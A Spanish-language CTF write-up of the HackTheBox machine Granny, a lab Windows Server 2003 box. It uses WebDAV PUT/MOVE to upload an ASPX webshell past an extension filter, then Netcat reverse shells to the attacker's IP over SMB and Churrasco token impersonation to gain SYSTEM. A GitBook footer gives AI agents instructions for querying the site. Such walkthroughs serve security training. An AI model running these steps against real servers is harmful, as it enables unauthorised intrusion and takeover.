> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Resolución de HackTheBox Granny

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Habilidades:**

* Abuso de los métodos PUT y MOVE - Subida de una WebShell Aspx
* Microsoft IIS 6.0 - Desbordamiento remoto del búfer en WebDAV 'ScStoragePathFromUrl' (RCE)
* Secuestro de token - Churrasco (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/9b2bbdafcbc2ed310b291164f668c3d9d498cead" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/a5287226a1681c73dc52aa0ba7569323e7077251" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/bea2022f6ef4d90c0b17bf055808c90b693ee100" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/bff5f1e9b7b58ae3aaa20176624a2bd7f6b37b83" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/c0bbb731cadbdbef2989d4ac929189796100d850" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad WebDAV

El puerto 80 está abierto y el servidor soporta WebDAV. Esto potencialmente nos permite subir archivos mediante el método PUT y renombrarlos con MOVE.

<figure><img src="/files/9207be85602ff7a1bd5f1e3c26d1ee24944d52b4" alt=""><figcaption></figcaption></figure>

Crear un archivo de prueba:

```bash
echo "this is a test" > test.txt
```

Conéctate al servidor con la **cadaver** herramienta:

```bash
cadaver 10.10.10.15
```

Intenta subir el archivo con el comando PUT:

<figure><img src="/files/202d2628c04924d313f2f38fddea39a23d39e0b8" alt=""><figcaption></figcaption></figure>

* Resultado: Éxito.

<figure><img src="/files/a5fa0bd2e044341ff410fe4152a1c78f09acb958" alt="" width="563"><figcaption></figcaption></figure>

### **Subida de Web Shell**

Copiar una WebShell ASPX preexistente:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Intenta subirlo directamente:

```powershell
put aspx_cmd.aspx
```

Resultado: Falló (el servidor bloquea archivos con la extensión .aspx).

<figure><img src="/files/f21d649aab592aba2e393c58a7a96d5e0cd7cfe8" alt="" width="563"><figcaption></figcaption></figure>

Cambia la extensión a **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Intenta subirlo de nuevo:

```powershell
PUT cmd.txt
```

* Resultado: Éxito.

<figure><img src="/files/df3fa927d87117875d9e2ff70ec4ab46a3e9cd00" alt="" width="563"><figcaption></figcaption></figure>

#### Renombra el archivo con MOVE para restaurar la extensión:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/44809716f241a4048aa312b8de0b1333fea9510a" alt=""><figcaption></figcaption></figure>

Acceder a la WebShell mediante el navegador:

<figure><img src="/files/ff3e2f6ec4fe11261f0e52e35104046c39231762" alt=""><figcaption></figcaption></figure>

### **Shell inversa a través de la WebShell:**

Coloca un ejecutable de Netcat en el directorio actual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Ejecuta un servidor SMB para compartir el archivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Escucha en tu máquina en el puerto 443:

```bash
sudo rlwrap nc -nvlp 443
```

Ejecuta el comando de shell inversa desde la WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/999ce021cde8ab2b996908b853961582d170c1d1" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios :**

### Explotación del kernel - Windows Server 2003

Usando las `systeminfo` comando, vemos que el equipo es muy antiguo (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="/files/d17160e5c67ba99195992736c5277978e026e912" alt=""><figcaption></figcaption></figure>

También tenemos el `SeImpersonatePrivilege` privilegio, que nos permite intentar escalar privilegios.

<figure><img src="/files/ad56dbf64d60d6d5d2aa3f9ea4e5e29cd9195a36" alt=""><figcaption></figcaption></figure>

Para sortear esta limitación, usaremos la **churrasco.exe** herramienta.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transferencia de archivos de Windows (SMB)/*/*

> Usamos **smbserver.py** para compartir un directorio que contiene el archivo exploit 40627.exe. Luego este archivo se copia a la máquina objetivo.

```bash
smbserver.py share $(pwd) -smb2support
```

Desde la máquina objetivo, copiamos el archivo malicioso usando el comando SMB:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Luego podemos ejecutar cualquier comando con este binario, por ejemplo:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/18f49c01ef0d846a42d25064826c747cbe6293fa" alt="" width="563"><figcaption></figcaption></figure>

**Establecer shell inversa**

Para establecer una shell inversa, escuchamos en el puerto 443:

```bash
sudo rlwrap nc -nvlp 443
```

Volvemos a crear un servidor SMB con **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Finalmente, ejecutamos la shell inversa con el siguiente comando:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="/files/84e4e742cf43475a4945e91fea386c2163b7c61d" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/9da2880f03370598daaec55b4f0048b00a9bc2e7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eadc40e609170e8998c9963fb595d49904b10c4a" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
